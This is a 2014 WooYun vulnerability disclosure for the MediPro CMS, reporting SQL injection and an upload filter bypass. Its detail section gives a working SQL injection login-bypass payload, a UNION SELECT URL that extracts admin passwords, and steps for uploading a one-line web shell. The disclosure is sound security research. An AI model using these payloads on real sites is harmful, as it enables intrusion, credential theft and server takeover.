当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064611

漏洞标题:MediPro最新版注入漏洞及后台get shell

相关厂商:http://mp.eb2000.cn

漏洞作者: 0dmxy

提交时间:2014-06-12 11:32

修复时间:2014-07-27 11:34

公开时间:2014-07-27 11:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-12: 细节已通知厂商并且等待厂商处理中
2014-06-16: 厂商已经确认,细节仅向厂商公开
2014-06-26: 细节向核心白帽子及相关领域专家公开
2014-07-06: 细节向普通白帽子公开
2014-07-16: 细节向实习白帽子公开
2014-07-27: 细节向公众公开

简要描述:

MediPro 有多套cms网站存在过滤不严,存在注入漏洞,后台可以绕开登录,get shell,获取服务器权限。
/* 呃,官网默认是zend加密的代码,需要解密。*/
百度了下,,还是很多网站使用。。

详细说明:

1、后台绕开登录漏洞
在服务器没有开magic_quotes_gpc的情况下,直接登录系统。后台一般是www.xxxx.com/adm/
用户名:webmaster' or 1=1 or 'a'='a /*
密码:随便输入,验证码输入后就能直接进去了
另外:,magic_quotes_gpc转义后,老衲尝试用了%d5%27这样的方法,如:
用户名user=admin%d5%27 or 1=1 limit 0,1 -- 这类的
虽然也绕开了admincheck()函数,但后面setcookies的时候,直接沿用了用户上传的user的值,结果在后面验证权限的时候过不了,没有继续搞下去了。
2、注册页面的注入漏洞
在注册用户的地方regform.php?membertypeid=10,就有注入漏洞,问题代码出现在注册页:regform.php,其中$membertypeid没有过滤好,后面的函数直接使用了$membertypeid。
没有开启转义时:
http://网站/regform.php?membertypeid=10 WHERE 1=2 UNION SELECT 1,`password`,"user",1,0,0,`user`,1,0 from cms_admin t limit 0,1 --
如果开启了magic_quotes_gpc,"user" 的 双引号被转义,也有个比较猥琐的方法:
大体方法是:再union一下cms_member_regform_10表,把formcolname字段(注:这个字段就是注册项字段)里面的值显示出来即可。 必须要这个,因为注册页面的项是动态生成的,否则显示不出管理员的帐号密码。
具体见后面的证明图吧。
3、后台get shell
比较多,简单的利用如在/adm/temp.inc.php中,代码只过滤了上传文件的后缀“.php”“.exe”这样的内容,,就可以用“.php.xx”,如果是用windows的IIS,还可以把后缀改成.asp,.asa等;

if ( substr( $fname, 0 - 4 ) == ".php" || substr( $fname, 0 - 4 ) == ".exe" )
{
err( $strDownNotice11, "", "" );
}



登录后台后,直接 访问www.xxxxx.com/adm/tempftp.php?fold=default
上传一个一句话:4.php.xx
上传后的路径:www.xxxxx.com/templates/default/4.php.xx

菜刀开路~~
注:测试用的4.php.xx已经删除。

漏洞证明:

1、登录漏洞代码

1.png


2、注册页面漏洞

4.jpg


3、后台get shell

5.jpg

修复方案:

过滤参数,限制上传。

版权声明:转载请注明来源 0dmxy@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-06-16 23:05

厂商回复:

无法确认和联系软件生产厂商,暂未列入处置流程。

最新状态:

暂无